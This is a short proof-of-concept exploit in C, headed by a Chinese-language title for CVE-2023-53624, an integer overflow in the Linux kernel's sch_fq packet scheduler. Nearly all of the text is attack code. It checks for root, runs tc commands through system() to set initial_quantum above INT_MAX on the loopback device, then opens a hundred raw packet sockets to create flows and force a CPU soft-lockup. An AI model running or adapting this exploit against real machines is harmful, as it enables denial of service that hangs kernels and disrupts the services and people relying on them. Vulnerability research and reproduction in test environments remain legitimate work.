CVE-2023-53624 Linux内核sch_fq调度器整数溢出漏洞

// PoC for CVE-2023-53624: Linux kernel sch_fq integer overflow // Trigger CPU soft-lockup via integer overflow in "credit" variable // Requires: root or CAP_NET_ADMIN privilege #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> // Use 'tc' command to configure sch_fq with overflow value // This is the primary trigger for the vulnerability void trigger_overflow() { printf("[*] Configuring sch_fq with initial quantum > INT_MAX\n"); // Add qdisc with fq scheduler system("tc qdisc add dev lo root fq"); // Try to set initial quantum to a value > INT_MAX (2147483647) // This will cause signed integer overflow in 'credit' system("tc qdisc change dev lo root fq initial_quantum 2147483648"); printf("[*] Configuration applied, creating traffic to trigger soft-lockup\n"); } // Create multiple sockets to generate new flows // Each new flow will use the overflowed credit value void generate_traffic() { int sockets[100]; struct sockaddr_ll addr; memset(&addr, 0, sizeof(addr)); addr.sll_family = AF_PACKET; addr.sll_protocol = htons(ETH_P_IP); addr.sll_ifindex = if_nametoindex("lo"); // Create many packet sockets to trigger flow creation for (int i = 0; i < 100; i++) { sockets[i] = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP)); if (sockets[i] < 0) { perror("socket"); continue; } bind(sockets[i], (struct sockaddr *)&addr, sizeof(addr)); } // Send packets to create flows for (int i = 0; i < 100; i++) { if (sockets[i] >= 0) { char buf[64] = "trigger"; sendto(sockets[i], buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr)); } } // Cleanup for (int i = 0; i < 100; i++) { if (sockets[i] >= 0) close(sockets[i]); } } int main() { printf("=== CVE-2023-53624 PoC ===\n"); printf("Linux kernel sch_fq integer overflow\n\n"); if (getuid() != 0) { printf("[!] This PoC requires root privileges (CAP_NET_ADMIN)\n"); return 1; } trigger_overflow(); sleep(1); generate_traffic(); printf("[*] Done. Check dmesg for soft-lockup warnings\n"); // Cleanup system("tc qdisc del dev lo root"); return 0; }